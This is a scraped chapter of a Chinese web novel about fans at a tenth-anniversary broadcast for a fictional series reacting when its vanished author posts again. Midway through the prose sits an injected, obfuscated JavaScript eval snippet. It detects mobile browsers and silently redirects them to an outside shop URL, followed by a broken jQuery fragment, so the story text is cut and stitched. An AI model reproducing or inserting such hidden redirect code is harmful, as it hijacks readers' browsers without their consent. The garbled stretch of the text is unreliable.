池明澈下垂的手已经和旁边一位早候着的对在了一起，似乎是无意识，但更像是做了无数次后的条件反射。
音乐渐熄，恢弘的史诗收束成册，合上书页，回到现实。
现场人还没缓过神来，还在费力呼吸。
忽然间，画面又是一转，那些此起彼伏的呼吸声几乎是齐刷刷地顿住，整个世界忽然失声。
池明澈微微睁大了眼睛，指尖在围拢他的掌心里轻轻一颤。
屏幕上出现了一个他再熟悉不过的背景。
他仿佛打开了自己的微博，看到了经常访问的第一位。
主持人声音徐徐：“这是我们银河纪元宇宙的缔造者，过去十年……”
屠榜，霸榜。
奖项，赞誉。
过去十年……
“等到十周年，我们一定大办特办，至少让整个莲城见证一下我们的狂欢吧！”小池明澈刚开始抽条的胳膊比划得很大，“也不知道C大会不会露面。”
林聿渊拿笔敲他：“梦别做那么大，还十周年，三年后还有人记得就不错了。”
“不可能！我们必有十周年！不只十周年！”
“怎么不说话？你是不是偷偷翻白眼了？”
林聿渊半真半假地撑着头，语气还有哄小孩的意味：“想你的宏图大业，有几成实现可能。”
池明澈凑过来，目光如聚：“几成几成？”
林聿渊长久地停顿，光阴在他的注视下近乎漫长。
“十成。”
主持人继续说：“我们C大头像是一张流星穿越黑洞的简笔画。”
“是光线。”池明澈很轻地说，主持人一愣。
弹幕上也满是“是光线哦。”
主持人赶忙说：“不好意思，是我功课没做够。”
“看这个光线穿黑洞，嘿嘿嘿。”青春期的池明澈也没长几颗“青春限定战损”，光洁的脸满是邪恶，在YY频道散德行。
“池、明、澈。”林聿渊敷衍地在他门上反手敲了一下就直接进来了，好像确信他没在做什么青少年需要隐私的事一样。
“啊哥！”
池明澈火速调整好表情，不知道为什么，虽然没做什么青少年需要隐私的事，只是口了一句嗨，他就莫名心虚，比被池勋抓包还虚。
林聿渊还一脸揶揄的审视……
不该啊？
这房间这么不隔音吗？
“你看我们C大这个头像，是不是有点像个空集符号？”
“嗯，你终于有点高中生的样了。”
“什么嘛……”
“你再直播到这么晚，明天上不上课了。”
“今天C大生日啊，多唱了会。”
“唔。”
“哥你怎么一副不知道的样子，都多少年了！”
窦知辰声音少见的发哑：“微博只剩系统自动发的生日祝福了，有什么好看的。”
池明澈垂下眼皮，一下被拉回最晦暗的时光。
那时候一点记录的力气也没有，所有文档都大片空白，想起一串永远打不通的号码时……他就像注射止痛剂一样，点开这个访问第一的界面。
头像是一张流星一样的光线穿越黑洞的简笔画，像个空集符号。
简介里嚣张地写着：“平生执笔，书尽天下。”
之后就是一条一条每年微博自动发的生日祝福。
是已经停更四年的，作者collapse的微博。
-我不明白，他是这么有耐心的人么？陪我一起追一本书？都是假的哦？转发“今天我生日。
-有点可笑，我还觉得，他只是像纪渊司一样不爱说，做的一点都不少呢。做的是不少。转发“今天我生日。”
-图片：拿饮料瓶的雪人。今天看见个这东西，差点傻了……还好只是可乐瓶。转发“今天我生日。”
-说好的书尽天下呢？转发“今天我生日。”
-封笔就封笔吧，能上来聊聊天吗？转发“今天我生日。”
-三次生活开心，你永远自由，希望你写也是因为喜欢，不写也是因为喜欢。转发“今天我生日。”
-快要十周年了呢，没想到吧。转发“今天我生日。”
……
被林聿渊捏住虎口，绞在一起的指节被迫松开，池明澈才发现，手指已经抽筋了。
心口的钝痛比手指间的更难以抑制——
对于collapse来说，这个故事可能真的到头了。
长生殿外明暗灯火，书里难求书外起落，collapse神笔无双……
他当年怎么也没想到，比十周年更先到来的是现实的覆灭。
打击怎么可以一重又一重，这么齐刷刷地撂给他，真不怕他承受不住么？
忽然，屏幕一抖，池明澈瞳孔也跟着抖——
就在方才，那个已经停更四年的微博，刷新出了几行字:
“十周年和未来的时光，Collapse祝各位所愿皆成。
真的很感谢。
你们无一败绩。”
死寂。
偌大一个演播室，几万号人，愣是能听到微不足道的屏幕电流声。
而片刻的宁静后是掀天覆地的吼叫，一个观众声嘶力竭地喊了声“C大！”
之后就是齐齐的狂欢一般地欢呼：
“collapse！”
“collapse！”
“collapse！”
好像collapse就在屏幕后面藏着，只要他们喊得够久够大声，就能把那个消失四年的人喊出来一样。
可是collapse很酷很高冷，留下这么几行字就再没动静了。
林聿渊看池明澈瞪着屏幕，双目微红，一副执念不死的模样，心尖像被两片羽毛扫了一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048604|148979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他用尽可能柔和地力度轻轻摇了摇他的手，一个“沽名钓誉”的念头徒然而生。
他看着荧光下，池明澈的睫毛垂了一下，是透光的羽毛。
随后手里一股不容抗拒的力量，池明澈缓慢地手抽了出去。
Collapse永远那么惜字如金。
十周年之际也没有说包满意，没有承诺新番外、新故事，或者哪怕多两句话，通通都没有。
粉丝却依然疯狂，短短几分钟，热搜榜稳稳当当一下午的第一就成了老二。
弹幕斑斓：
“#第十年，何止是伏笔#我没想到会喜欢一部作品这么久，竟然是我除了生存必须以外坚持最久的事。”
“#第十年，何止是伏笔#现在谈恋爱都麻了，《银河纪元》还在喜欢，还能感觉到悸动。”
“#第十年，何止是伏笔#老朋友了，本来以为已成定局的东西还能再带来什么感动呢，还真不是，《银河纪元》常读常新。”
“#第十年，何止是伏笔#很难再对什么东西这么长情，对它永远有时间滤镜。”
“#第十年，何止是伏笔#不夸张地说，在我感到生活无以为继的时候，它拉过我一次又一次，哈哈哈是不是很难理解？”
微博界面淡淡隐去，画面切到一段很有异域风情的视频。
辽阔的黄沙和空旷的天际在邈远处相接，突然一朵还沾着水的“雪里浮金”怼满了镜头。
“哈哈哈哈哈哈哈哈哈哈，漂不漂亮银粉们！我们在卡拉哈里~”
一双腿脚步倒退着出现在屏幕上，后来出现了一张带着墨镜的脸，他笑得嘴角要连上耳朵，骄傲地指着胸前银河纪元的标志。
带沙的风打着旋地铺开，他手里的“雪里浮金”却一尘不染。
紧接着一大群人呼啦啦地跑了出来，各个穿着风格明显的文化衫，大张着嘴，乐呵呵地吃些沙子，乱腾腾地喊着“亿万斯年，光明在我！”
接下来是罗马斗兽场，敦煌莫高窟，埃及金字塔……书里的秘境入口是现实里真实存在的地点，银河纪元的标志缀满了整张羊皮卷，像雪里浮金上细密的碎钻，蜿蜒流过世界版图的长河。
这是一场浩大的圣地巡礼。
结伴出行的同好没有阵营之分，混在一起拍照，喊着：
“亿万斯年，光明在我！”
“亿万斯年，光明在我！”
和远星长空一起，构成奔赴同一场梦的群像画。
就像collapse每年的生日微博都能引起一个名为#第x年，何止是伏笔#的热搜。
任何一点有关他的风吹草动都是一场浩大的典礼。
那可是collapse。
就算他只是发个“尽我所能”呢。
那是collapse。
林聿渊看着低垂的手，他能感受到手腕的筋在鼓鼓地跳着。
而他只是林聿渊。